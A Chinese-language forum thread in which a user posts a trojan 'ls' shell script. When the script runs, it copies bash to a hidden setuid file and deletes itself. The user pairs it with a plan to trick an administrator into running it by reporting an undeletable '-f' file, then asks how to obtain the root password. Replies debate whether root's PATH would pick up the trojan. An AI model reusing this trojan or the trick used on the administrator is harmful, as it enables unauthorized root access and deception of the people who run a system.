纯讨论《盗窃超级用户》

gilet

[gilet@gilet ~]$ PATH=./PATH
[gilet@gilet ~]$ echo $PATH
./:/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/gilet/bin
[gilet@gilet ~]$ vi ls

1. #!/bin/bash
   
2. cp /bin/bash ./.superdude
   
3. chmod 4555 ./.superdude
   
4. rm -f $0
   
5. exec /bin/ls ${1+"$@"}

复制代码

[gilet@gilet ~]$ chmod 700 .
[gilet@gilet ~]$ touch ./-f
然后给管理员说我的这个-f文件删除不掉，
然后管理员转到我的主目录下，使用ls查看文件，然后我就得到了一个setuid root的shell拷贝



然后我怎么得到root的密码

liaosnet

使用root用户过去，不会带上你用户目录的目录环境！
直接rm -rf '-f'

damcool

root的环境变量不一样，这样不行

gilet

回复 2# liaosnet


    从普通用户su，不是su -
    我试可以啊

gilet

回复 2# liaosnet

1. [gilet@gilet ~]$ echo $PATH
   
2. ./:/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/gilet/bin
   
3. [gilet@gilet ~]$ su
   
4. 密码：
   
5. [root@gilet gilet]# echo $PATH
   
6. ./:/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/gilet/bin

复制代码

HH106

root用户不使用你的$PATH
换句话说，你写的ls脚本没有用

HH106

回复 5# gilet


    单独的su还是使用的自己的环境变量
要换成root的，要用su -

liaosnet

回复  liaosnet
gilet 发表于 2010-12-23 10:39

    问题是管理员非得从你的帐号上过去才行，还得su 不是su -
你这条件也太高了点呀～～
还有就是，不需要su到root就可以直接 /usr/bin/rm -rf '-f'
这个命令似乎不需要切到root就可以使用。。。你那还有机会呀。

gilet

回复 7# HH106


    我现在已经得到.superdude了，怎么搞定

gilet

回复 8# liaosnet


    这个我知道啊，现在我就得到.superdude了